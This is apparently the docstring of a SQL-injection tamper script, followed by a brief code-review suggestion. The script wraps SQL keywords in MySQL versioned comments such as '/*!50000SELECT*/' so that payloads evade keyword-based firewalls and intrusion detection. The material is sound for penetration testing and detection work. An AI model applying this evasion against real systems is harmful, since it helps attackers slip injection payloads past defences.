Replaces common SQL keywords with MySQL versioned comments (e.g., 'SELECT' becomes '/*!50000SELECT*/').

This technique is useful for bypassing simple keyword-based firewalls and
intrusion detection systems that don't parse MySQL's versioned comment syntax.
The '50000' indicates that the enclosed query should only be executed by MySQL
versions 5.0.0 and above.

Requirement:
* MySQL >= 5.0.0

Notes:
* This tamper script is designed to be quite aggressive and will comment
many different keywords.

can simplify like

ret_val = re.sub(r"(?i)\b%s\b" % re.escape(keyword), keywords[keyword], ret_val)

you are always escaping, or add escaped strings for substitution which is faster
